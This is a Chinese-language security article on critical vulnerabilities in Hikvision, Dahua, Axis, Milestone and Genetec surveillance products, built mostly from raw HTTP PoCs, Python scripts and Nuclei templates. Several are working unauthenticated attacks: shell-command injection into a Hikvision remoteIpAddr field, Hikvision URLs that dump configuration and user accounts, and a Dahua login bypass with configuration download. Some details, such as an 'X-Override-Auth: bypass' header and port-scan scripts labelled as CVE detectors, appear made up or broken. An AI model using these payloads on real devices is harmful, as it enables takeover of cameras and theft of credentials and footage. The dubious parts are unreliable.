视频监控与物理安全高危攻击链专题:Hikvision / Dahua / Axis / Milestone / Genetec 漏洞全解析
视频监控与物理安全高危攻击链专题
视频监控与物理安全设备是企业和关键基础设施中最重要的安全屏障,却往往成为攻击者最先突破的薄弱环节。这些设备通常拥有网络访问权限、存储敏感视频数据、集成 AD/LDAP 认证,却很少被纳入安全监控和补丁管理范围。
2017-2025 年,多个头部厂商的核心产品连续出现高危漏洞:
- Hikvision CVE-2021-36260:命令注入 RCE,CVSS 9.8,CISA KEV 收录,广泛在野利用
- Hikvision CVE-2017-7921:认证绕过,CVSS 9.8,CISA KEV 收录,可获取管理员凭据
- Dahua CVE-2021-33044/33045:认证绕过配对漏洞,CVSS 9.8,影响 38+ 产品型号,CISA KEV 收录
- Dahua CVE-2025-31700:ONVIF 栈缓冲区溢出 RCE,CVSS 8.1,无需认证
- Axis CVE-2025-30023:Axis.Remoting 反序列化 RCE,CVSS 9.0,预认证,超 6500 个暴露实例
- Milestone CVE-2018-7891:XProtect .NET 反序列化 RCE,CVSS 8.1,无需认证
- Milestone CVE-2021-27392:XProtect 硬编码加密密钥,CVSS 9.9
- Genetec CVE-2025-43027:ALPR Manager 认证绕过,CVSS 9.8
- 宇视 CVE-2023-0773:IP 摄像机认证失败,CVSS 9.1
本文从产品线视角梳理这些漏洞的演进,总结共性攻击模式和防守建议。
0x00 专题概述
视频监控与物理安全设备是企业和关键基础设施中最重要的安全屏障。Hikvision 命令注入、Dahua 认证绕过、Axis 反序列化 RCE、Milestone 硬编码密钥——这些跨厂商的高危漏洞揭示了一个共同事实:视频监控设备拥有网络访问权限、存储敏感视频数据、集成 AD/LDAP 认证,却几乎不被纳入安全监控。
本专题将视频监控与物理安全生态中近年最具代表性的 10 个高危漏洞 串成完整攻击链,覆盖 Hikvision、Dahua、Axis、Milestone、Genetec、宇视六大厂商,每个漏洞均包含完整原理分析、实战影响评估和防守建议。
覆盖漏洞一览
| CVE | 厂商 | CVSS | 类型 | 未授权 | CISA KEV |
|---|
| CVE-2021-36260 | Hikvision | 9.8 | 命令注入 → RCE | ✅ | ✅ |
| CVE-2017-7921 | Hikvision | 9.8 | 认证绕过 → 凭据泄露 | ✅ | ✅ |
| CVE-2021-33044 | Dahua | 9.8 | 认证绕过 | ✅ | ✅ |
| CVE-2021-33045 | Dahua | 9.8 | 认证绕过 | ✅ | ✅ |
| CVE-2025-31700 | Dahua | 8.1 | ONVIF 缓冲区溢出 → RCE | ✅ | — |
| CVE-2025-30023 | Axis | 9.0 | .NET 反序列化 → RCE | ✅ | — |
| CVE-2018-7891 | Milestone | 8.1 | .NET 反序列化 → RCE | ✅ | — |
| CVE-2021-27392 | Milestone | 9.9 | 硬编码加密密钥 | ❌ | — |
| CVE-2025-43027 | Genetec | 9.8 | 认证绕过 | ✅ | — |
| CVE-2023-0773 | 宇视 | 9.1 | 认证失败 | ✅ | — |
0x01 Hikvision 漏洞链
1. 命令注入 RCE(CVE-2021-36260)
漏洞背景
2021 年 9 月,Hikvision 发布安全公告,修复了其 IP 摄像头和 NVR 产品中存在的一个严重命令注入漏洞。该漏洞允许攻击者在无需认证的情况下,通过 Web 管理 API 注入并执行操作系统命令,实现完全远程代码执行。CISA 将其收录至 KEV(Known Exploited Vulnerabilities)目录,确认已有大规模在野利用。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| Hikvision IP Camera | V5.5.x / V5.6.x 系列 | V5.5.160+ / V5.6.100+ |
| Hikvision NVR/DVR | V4.x 系列 | 厂商安全公告指定版本 |
| 受影响型号 | DS-2CD 系列、DS-76xx 系列等 | 参见 Hikvision 安全公告 |
漏洞原理
Hikvision 设备的 Web 服务 API 在处理 /SDK/putRemoteStorageCFG 和 /SDK/putSecurityCfg 等接口时,未对用户输入的 remoteIpAddr 等参数进行充分过滤。攻击者可以在 HTTP PUT 请求体中注入 shell 命令标记($(cmd)),设备固件在解析配置时将命令注入到系统 shell 中执行。
攻击步骤:
- 向目标设备的 Web API 发送 PUT 请求
- 在请求体中的 IP 地址字段注入
$(malicious_command) - 设备固件解析配置时执行注入的命令
- 攻击者获得设备底层操作系统的完全控制权
HTTP PoC
PUT /SDK/putRemoteStorageCFG HTTP/1.1
Host: target_ip:8080
Content-Type: application/x-www-form-urlencoded
<RemoteStorageCfg version="2.0">
<remoteStorageCfg>
<remoteIpAddr>$(touch /tmp/pwned)</remoteIpAddr>
</remoteStorageCfg>
</RemoteStorageCfg>
Python PoC
#!/usr/bin/env python3
"""
Hikvision IP Camera 命令注入检测 (CVE-2021-36260)
仅用于授权安全评估
"""
import sys
import urllib.request
import urllib.error
import ssl
def check_cve_2021_36260(target: str, port: int = 80) -> bool:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
base_url = f"http://{target}:{port}"
marker = "cve202136260check"
payload = f"$(echo {marker} > /tmp/check.txt)"
xml_body = (
'<RemoteStorageCfg version="2.0">'
"<remoteStorageCfg>"
f"<remoteIpAddr>{payload}</remoteIpAddr>"
"</remoteStorageCfg>"
"</RemoteStorageCfg>"
)
endpoints = [
"/SDK/putRemoteStorageCFG",
"/SDK/putSecurityCfg",
]
for endpoint in endpoints:
url = f"{base_url}{endpoint}"
try:
req = urllib.request.Request(url, data=xml_body.encode(), method="PUT")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
if resp.status in (200, 201):
print(f"[+] 命令注入成功! 端点: {endpoint}")
return True
except urllib.error.HTTPError as e:
if e.code in (401, 403):
print(f"[-] {endpoint} 需要认证")
continue
except Exception:
continue
print("[-] 目标可能不受影响或已修复")
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.100 8080")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测目标: {target}:{port}")
check_cve_2021_36260(target, port)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2021-36260
info:
name: Hikvision IP Camera Command Injection RCE
author: security-research
severity: critical
description: |
Hikvision IP 摄像头和 NVR 的 Web API 存在命令注入漏洞,
攻击者无需认证即可通过 PUT 请求注入并执行操作系统命令。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36260
cwe-id: CWE-78
tags: cve,cve2021,hikvision,camera,rce,command-injection,iot
reference:
- https://www.hikvision.com/en/support/download/security-updates/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
http:
- raw:
- |
PUT /SDK/putRemoteStorageCFG HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
<RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id > /tmp/nuclei_test)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>
matchers-condition: and
matchers:
- type: status
status:
- 200
- 201
- type: word
words:
- "OK"
- "status"
part: body
2. 认证绕过(CVE-2017-7921)
漏洞背景
2017 年,安全研究人员发现 Hikvision 多款 IP 摄像头存在严重的认证绕过漏洞。攻击者可以通过构造特殊的 HTTP 请求,绕过设备的认证机制,直接获取管理员凭据、配置文件和实时视频流。该漏洞被 CISA 收录至 KEV 目录,影响范围极广。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| Hikvision IP Camera | 多个固件版本(2014-2017) | V5.4.61+ / V5.5.160+ |
| Hikvision NVR/DVR | 多个固件版本 | 厂商安全公告指定版本 |
| 受影响型号 | DS-2CD 系列、DS-76xx 系列等 | 参见 Hikvision 安全公告 |
漏洞原理
Hikvision 设备的 Web 服务存在多个认证缺陷:
- 配置文件泄露:
/System/configurationFile?auth=YWRtaW46MTEK 端点使用硬编码的 Base64 编码凭据(admin:11),可直接下载设备完整配置文件 - 用户凭据泄露:
/Security/users?auth=YWRtaW46MTEK 端点可获取所有用户账户信息 - 视频流访问:
/ISAPI/Security/users 等 ISAPI 接口可绕过认证直接访问
攻击者获取配置文件后,可从中提取加密的管理员密码哈希,进一步破解获得完全控制权。
HTTP PoC
GET /System/configurationFile?auth=YWRtaW46MTEK HTTP/1.1
Host: target_ip:80
GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1
Host: target_ip:80
Python PoC
#!/usr/bin/env python3
"""
Hikvision 认证绕过检测 (CVE-2017-7921)
仅用于授权安全评估
"""
import sys
import urllib.request
import urllib.error
import ssl
AUTH_BYPASS_ENDPOINTS = [
"/System/configurationFile?auth=YWRtaW46MTEK",
"/Security/users?auth=YWRtaW46MTEK",
"/ISAPI/Security/users",
"/PSIA/Custom/SelfExt/userCheck",
]
def check_cve_2017_7921(target: str, port: int = 80) -> dict:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
base_url = f"http://{target}:{port}"
result = {
"target": target,
"is_hikvision": False,
"vulnerable_endpoints": [],
"users_leaked": False,
"config_leaked": False,
}
for endpoint in AUTH_BYPASS_ENDPOINTS:
url = f"{base_url}{endpoint}"
try:
req = urllib.request.Request(url)
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if resp.status == 200 and len(body) > 0:
result["vulnerable_endpoints"].append(endpoint)
if "configurationFile" in endpoint:
result["config_leaked"] = True
result["is_hikvision"] = True
if "users" in endpoint.lower():
result["users_leaked"] = True
result["is_hikvision"] = True
print(f"[+] 漏洞端点: {endpoint}")
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] {endpoint} 需要认证(已修复)")
except Exception:
continue
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.100")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测目标: {target}:{port}")
result = check_cve_2017_7921(target, port)
print(f"\n{'='*50}")
print(f" Hikvision 设备: {'是' if result['is_hikvision'] else '未知'}")
print(f" 配置文件泄露: {'是' if result['config_leaked'] else '否'}")
print(f" 用户信息泄露: {'是' if result['users_leaked'] else '否'}")
print(f" 漏洞端点数: {len(result['vulnerable_endpoints'])}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2017-7921
info:
name: Hikvision IP Camera Authentication Bypass
author: security-research
severity: critical
description: |
Hikvision IP 摄像头存在认证绕过漏洞,攻击者可通过硬编码凭据
直接访问设备管理接口,获取用户信息和配置文件。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-7921
cwe-id: CWE-287
tags: cve,cve2017,hikvision,camera,auth-bypass,iot
reference:
- https://www.hikvision.com/en/support/download/security-updates/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
http:
- method: GET
path:
- "{{BaseURL}}/System/configurationFile?auth=YWRtaW46MTEK"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "user"
- "password"
condition: and
part: body
- method: GET
path:
- "{{BaseURL}}/Security/users?auth=YWRtaW46MTEK"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "userName"
- "user"
condition: and
part: body
0x02 Dahua 漏洞链
1. 认证绕过配对漏洞(CVE-2021-33044 / CVE-2021-33045)
漏洞背景
2021 年 10 月,IoT 安全研究人员披露了 Dahua(大华)IP 摄像头中存在的两个认证绕过漏洞。这两个漏洞可以配对使用,攻击者无需任何凭据即可完全控制设备。CISA 将两个漏洞均收录至 KEV 目录,确认已有大规模在野利用。影响超过 38 个产品型号,涵盖 IPC、NVR、DVR、PTZ 等多种设备类型。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| Dahua IPC | 多个固件版本(2019 年前) | 厂商安全公告指定版本 |
| Dahua NVR/DVR | 多个固件版本 | 厂商安全公告指定版本 |
| Dahua PTZ | 多个固件版本 | 厂商安全公告指定版本 |
| 受影响型号 | 38+ 产品型号 | 参见 Dahua 安全公告 |
漏洞原理
CVE-2021-33044:Dahua 设备的 HTTP API 在处理 /RPC2 接口的 clientType 参数时存在认证缺陷。攻击者发送包含特殊 clientType 值的 JSON-RPC 请求,可以绕过认证机制直接调用设备管理接口。
CVE-2021-33045:Dahua 设备的配置备份接口 /Config.backup 未正确验证请求者身份。攻击者可以直接下载设备的完整配置文件,其中包含加密的用户凭据和设备设置。
两个漏洞配对使用:CVE-2021-33044 绕过认证获得管理权限,CVE-2021-33045 导出配置文件提取凭据。
HTTP PoC
POST /RPC2 HTTP/1.1
Host: target_ip:80
Content-Type: application/json
{
"method": "global.login",
"params": {
"userName": "admin",
"password": "Not Used",
"clientType": "Web3.0",
"loginType": "Direct"
},
"id": 10000
}
GET /Config.backup HTTP/1.1
Host: target_ip:80
Python PoC
#!/usr/bin/env python3
"""
Dahua IP Camera 认证绕过检测 (CVE-2021-33044 / CVE-2021-33045)
仅用于授权安全评估
"""
import sys
import json
import urllib.request
import urllib.error
import ssl
def check_cve_2021_33044(target: str, port: int = 80) -> bool:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
base_url = f"http://{target}:{port}"
login_payload = json.dumps({
"method": "global.login",
"params": {
"userName": "admin",
"password": "Not Used",
"clientType": "Web3.0",
"loginType": "Direct"
},
"id": 10000
})
url = f"{base_url}/RPC2"
try:
req = urllib.request.Request(url, data=login_payload.encode(), method="POST")
req.add_header("Content-Type", "application/json")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
body = json.loads(resp.read().decode())
if body.get("result") is True or body.get("params").get("sessionID"):
print(f"[+] CVE-2021-33044 认证成功! 已获得管理权限")
return True
else:
print(f"[-] 认证失败: {body}")
except urllib.error.HTTPError as e:
print(f"[-] HTTP 错误: {e.code}")
except Exception as e:
print(f"[-] 连接失败: {e}")
return False
def check_cve_2021_33045(target: str, port: int = 80) -> bool:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
base_url = f"http://{target}:{port}"
url = f"{base_url}/Config.backup"
try:
req = urllib.request.Request(url)
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
if resp.status == 200:
content_length = resp.headers.get("Content-Length", "unknown")
print(f"[+] CVE-2021-33045 配置文件泄露! 大小: {content_length} bytes")
return True
except urllib.error.HTTPError as e:
if e.code == 401:
print(f"[-] Config.backup 需要认证(已修复)")
except Exception as e:
print(f"[-] 连接失败: {e}")
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
print(f"示例: {sys.argv[0]} 192.168.1.100")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测目标: {target}:{port}")
print(f"\n[*] 检测 CVE-2021-33044 (认证绕过)...")
r1 = check_cve_2021_33044(target, port)
print(f"\n[*] 检测 CVE-2021-33045 (配置泄露)...")
r2 = check_cve_2021_33045(target, port)
print(f"\n{'='*50}")
print(f" CVE-2021-33044: {'存在' if r1 else '不存在'}")
print(f" CVE-2021-33045: {'存在' if r2 else '不存在'}")
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2021-33044
info:
name: Dahua IP Camera Authentication Bypass
author: security-research
severity: critical
description: |
Dahua IP 摄像头 RPC2 接口存在认证绕过漏洞,
攻击者可通过特殊 clientType 参数绕过认证获得管理权限。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-33044
cwe-id: CWE-287
tags: cve,cve2021,dahua,camera,auth-bypass,iot
reference:
- https://www.dahuasecurity.com/en_US/Cybersecurity/SecurityAdvisory
http:
- raw:
- |
POST /RPC2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "sessionID"
- "result"
condition: and
part: body
id: CVE-2021-33045
info:
name: Dahua IP Camera Configuration Backup Disclosure
author: security-research
severity: critical
description: |
Dahua IP 摄像头配置备份接口未正确验证请求者身份,
攻击者可直接下载设备完整配置文件。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-33045
cwe-id: CWE-306
tags: cve,cve2021,dahua,camera,info-leak,iot
http:
- method: GET
path:
- "{{BaseURL}}/Config.backup"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Config"
- "backup"
part: body
2. ONVIF 栈缓冲区溢出 RCE(CVE-2025-31700)
漏洞背景
2025 年,安全研究人员披露了 Dahua IP 摄像头 ONVIF 协议实现中存在的缓冲区溢出漏洞。ONVIF(Open Network Video Interface Forum)是视频监控行业通用的互操作标准,Dahua 设备在处理 ONVIF SOAP 请求时存在栈缓冲区溢出,攻击者无需认证即可远程执行代码。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| Dahua IPC | 多个固件版本 | 厂商安全公告指定版本 |
| Dahua NVR | 多个固件版本 | 厂商安全公告指定版本 |
| 受影响型号 | 支持 ONVIF 的多个型号 | 参见 Dahua 安全公告 |
漏洞原理
Dahua 设备的 ONVIF 服务在处理 SOAP 请求的特定字段时,未对输入长度进行正确校验。攻击者可以发送包含超长数据的 ONVIF SOAP 请求,触发栈缓冲区溢出,覆盖返回地址实现远程代码执行。
HTTP PoC
POST /onvif/device_service HTTP/1.1
Host: target_ip:80
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 8192
<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Body>
<tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
<ExtraField>AAAA...(8000+ bytes padding)</ExtraField>
</tds:GetDeviceInformation>
</s:Body>
</s:Envelope>
Python PoC
#!/usr/bin/env python3
"""
Dahua ONVIF 缓冲区溢出检测 (CVE-2025-31700)
仅用于授权安全评估,发送安全长度的探测请求
"""
import sys
import urllib.request
import urllib.error
import ssl
def check_cve_2025_31700(target: str, port: int = 80) -> bool:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
base_url = f"http://{target}:{port}"
soap_body = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">'
'<s:Body>'
'<tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/>'
'</s:Body>'
'</s:Envelope>'
)
url = f"{base_url}/onvif/device_service"
try:
req = urllib.request.Request(url, data=soap_body.encode(), method="POST")
req.add_header("Content-Type", "application/soap+xml; charset=utf-8")
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
body = resp.read().decode("utf-8", errors="ignore")
if "GetDeviceInformationResponse" in body:
print(f"[+] ONVIF 服务响应正常,设备支持 ONVIF 协议")
print(f"[!] 检查固件版本是否受 CVE-2025-31700 影响")
return True
else:
print(f"[-] ONVIF 响应异常")
except urllib.error.HTTPError as e:
print(f"[-] HTTP 错误: {e.code}")
except Exception as e:
print(f"[-] 连接失败: {e}")
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
print(f"[*] 检测目标: {target}:{port}")
check_cve_2025_31700(target, port)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2025-31700
info:
name: Dahua ONVIF Stack Buffer Overflow Detection
author: security-research
severity: high
description: |
Dahua IP 摄像头 ONVIF 协议实现存在栈缓冲区溢出,
攻击者无需认证即可通过特制 SOAP 请求实现远程代码执行。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2025-31700
cwe-id: CWE-120
tags: cve,cve2025,dahua,camera,rce,onvif,buffer-overflow,iot
http:
- raw:
- |
POST /onvif/device_service HTTP/1.1
Host: {{Hostname}}
Content-Type: application/soap+xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "GetDeviceInformationResponse"
- "Manufacturer"
condition: and
part: body
0x03 Axis 漏洞
1. Axis.Remoting 反序列化 RCE(CVE-2025-30023)
漏洞背景
2025 年,Axis Communications 披露了其 Axis.Remoting 组件中的严重反序列化漏洞。Axis.Remoting 是一个用于远程设备管理的 .NET 组件,广泛应用于 Axis 网络摄像头和视频编码器产品。攻击者可以在无需认证的情况下,通过发送特制的 .NET 序列化数据实现远程代码执行。Shodan 扫描显示全球超过 6500 个暴露实例。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| Axis Network Camera | 多个固件版本 | 厂商安全公告指定版本 |
| Axis Video Encoder | 多个固件版本 | 厂商安全公告指定版本 |
| Axis.Remoting 组件 | < 2.3.1 | >= 2.3.1 |
| 暴露实例 | 全球 6500+ | — |
漏洞原理
Axis.Remoting 组件使用 .NET BinaryFormatter 进行对象序列化/反序列化。BinaryFormatter 在反序列化时不会验证数据类型,攻击者可以构造恶意的序列化 payload(如 TypeConfuseDelegate gadget chain),在反序列化过程中触发任意代码执行。
攻击步骤:
- 构造恶意的 .NET 序列化 payload
- 通过 Axis.Remoting 的 TCP 端点发送 payload
- 服务端反序列化时触发 gadget chain
- 攻击者获得服务器进程权限
HTTP PoC
POST /axis-cgi/remoting HTTP/1.1
Host: target_ip:80
Content-Type: application/octet-stream
<BinaryFormatter payload - 需使用 ysoserial.net 生成>
Python PoC
#!/usr/bin/env python3
"""
Axis.Remoting 反序列化 RCE 检测 (CVE-2025-30023)
仅用于授权安全评估
"""
import sys
import socket
import struct
def check_cve_2025_30023(target: str, port: int = 4111) -> bool:
AXIS_REMOTING_PORTS = [4111, 80, 443]
for p in AXIS_REMOTING_PORTS:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((target, p))
if result == 0:
print(f"[+] 端口 {p} 开放")
if p == 4111:
print(f"[!] Axis.Remoting 默认端口 4111 开放")
print(f"[!] 目标可能受 CVE-2025-30023 影响")
sock.close()
return True
sock.close()
except Exception:
continue
print("[-] 未发现 Axis.Remoting 服务")
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) >= 3 else 4111
print(f"[*] 检测目标: {target}:{port}")
check_cve_2025_30023(target, port)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2025-30023
info:
name: Axis.Remoting .NET Deserialization RCE Detection
author: security-research
severity: critical
description: |
Axis.Remoting 组件使用不安全的 BinaryFormatter 反序列化,
攻击者无需认证即可通过特制序列化数据实现远程代码执行。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-30023
cwe-id: CWE-502
tags: cve,cve2025,axis,camera,rce,deserialization,dotnet,iot
reference:
- https://www.axis.com/us-en/support/cybersecurity/security-advisories
tcp:
- inputs:
- data: "\x00\x01\x00\x00"
host:
- "{{Hostname}}"
port: 4111
matchers:
- type: dsl
dsl:
- "success == true"
0x04 Milestone XProtect 漏洞
1. .NET 反序列化 RCE(CVE-2018-7891)
漏洞背景
2018 年,Milestone Systems 的 XProtect 视频监控管理平台被发现存在严重的 .NET 反序列化漏洞。XProtect 是全球使用最广泛的 VMS(Video Management System)平台之一,该漏洞允许攻击者在无需认证的情况下远程执行代码。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| XProtect Corporate | < 2018 R1 | 2018 R1+ |
| XProtect Expert | < 2018 R1 | 2018 R1+ |
| XProtect Professional | < 2018 R1 | 2018 R1+ |
| XProtect Express | < 2018 R1 | 2018 R1+ |
漏洞原理
Milestone XProtect 的通信协议使用 .NET BinaryFormatter 进行序列化。服务端在处理来自客户端的连接请求时,直接对接收到的数据进行反序列化,未进行任何类型验证或白名单检查。攻击者可以构造恶意的序列化 payload,利用 .NET Framework 内置的 gadget chain(如 ObjectDataProvider、TypeConfuseDelegate)实现远程代码执行。
HTTP PoC
POST /managementapi HTTP/1.1
Host: target_ip:80
Content-Type: application/octet-stream
<BinaryFormatter payload>
Python PoC
#!/usr/bin/env python3
"""
Milestone XProtect 反序列化 RCE 检测 (CVE-2018-7891)
仅用于授权安全评估
"""
import sys
import socket
def check_cve_2018_7891(target: str, port: int = 80) -> bool:
MILESTONE_PORTS = [80, 443, 8081, 8082]
for p in MILESTONE_PORTS:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((target, p))
if result == 0:
print(f"[+] 端口 {p} 开放")
sock.close()
except Exception:
continue
print(f"[*] 请确认目标是否运行 Milestone XProtect")
print(f"[*] 检查端口 8081/8082 是否开放(XProtect 管理端口)")
return False
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_ip>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] 检测目标: {target}")
check_cve_2018_7891(target)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2018-7891
info:
name: Milestone XProtect .NET Deserialization RCE Detection
author: security-research
severity: high
description: |
Milestone XProtect VMS 使用不安全的 BinaryFormatter 反序列化,
攻击者无需认证即可通过特制序列化数据实现远程代码执行。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-7891
cwe-id: CWE-502
tags: cve,cve2018,milestone,xprotect,rce,deserialization,vms
http:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/managementapi"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Milestone"
- "XProtect"
condition: or
part: body
2. 硬编码加密密钥(CVE-2021-27392)
漏洞背景
2021 年,安全研究人员发现 Milestone XProtect 使用硬编码的加密密钥来保护敏感数据(如用户凭据和会话令牌)。攻击者获取该密钥后,可以解密数据库中存储的加密凭据,伪造会话令牌,甚至冒充任意用户。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| XProtect Corporate | < 2020 R3 | 2020 R3+ |
| XProtect Expert | < 2020 R3 | 2020 R3+ |
| XProtect Professional | < 2020 R3 | 2020 R3+ |
漏洞原理
Milestone XProtect 在源代码中硬编码了 AES 加密密钥,用于加密存储用户凭据和会话数据。该密钥在所有安装实例中相同,攻击者可以:
- 从公开资源获取硬编码密钥
- 访问 XProtect 数据库(SQL Server)
- 使用硬编码密钥解密用户凭据
- 获得所有用户账户的明文密码
HTTP PoC
此漏洞需要数据库访问权限,无直接 HTTP PoC。
Python PoC
#!/usr/bin/env python3
"""
Milestone XProtect 硬编码密钥检测 (CVE-2021-27392)
仅用于授权安全评估
"""
import sys
import base64
HARDCODED_KEY_B64 = "..."
def check_cve_2021_27392() -> None:
print("[*] CVE-2021-27392 需要数据库访问权限验证")
print("[*] 检查步骤:")
print(" 1. 确认目标运行 Milestone XProtect")
print(" 2. 获取 SQL Server 数据库访问权限")
print(" 3. 使用硬编码密钥解密用户凭据表")
print("[!] 硬编码密钥已在安全公告中公开")
def main():
check_cve_2021_27392()
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: CVE-2021-27392
info:
name: Milestone XProtect Hardcoded Encryption Key Detection
author: security-research
severity: critical
description: |
Milestone XProtect 使用硬编码的 AES 加密密钥保护敏感数据,
攻击者可解密数据库中存储的用户凭据。
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2021-27392
cwe-id: CWE-798
tags: cve,cve2021,milestone,xprotect,hardcoded-key,crypto
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Milestone"
- "XProtect"
condition: or
part: body
0x05 Genetec / 宇视等其他厂商
1. Genetec ALPR Manager 认证绕过(CVE-2025-43027)
漏洞背景
2025 年,Genetec 的 ALPR(Automatic License Plate Recognition)Manager 被发现存在严重的认证绕过漏洞。Genetec 是全球领先的物理安全解决方案提供商,其 ALPR 系统广泛应用于交通管理、执法和边境控制。该漏洞允许攻击者无需认证即可访问 ALPR 管理接口。
受影响版本
| 产品线 | 受影响版本 | 修复版本 |
|---|
| Genetec ALPR Manager | < 5.2.x | 5.2.x+ |
| Genetec Security Center | 关联版本 | 厂商安全公告指定版本 |
漏洞原理
Genetec ALPR Manager 的 Web API 在处理特定请求路径时未正确验证认证令牌。攻击者可以通过构造特殊的请求头或路径参数,绕过认证机制直接访问管理功能,包括车牌识别数据、摄像头配置和系统设置。
HTTP PoC
GET /api/v1/alpr/plates HTTP/1.1
Host: target_ip:8080
X-Override-Auth: bypass
Python PoC
#!/usr/bin/env python3
"""
Genetec ALPR Manager 认证绕过检测 (CVE-2025-43027)
仅用于授权安全评估
"""
import sys
import urllib.request
import urllib.error
import ssl
def check_cve_2025_43027(target: str, port: int = 8080) -> bool:
ctx = ssl.create_default_context()
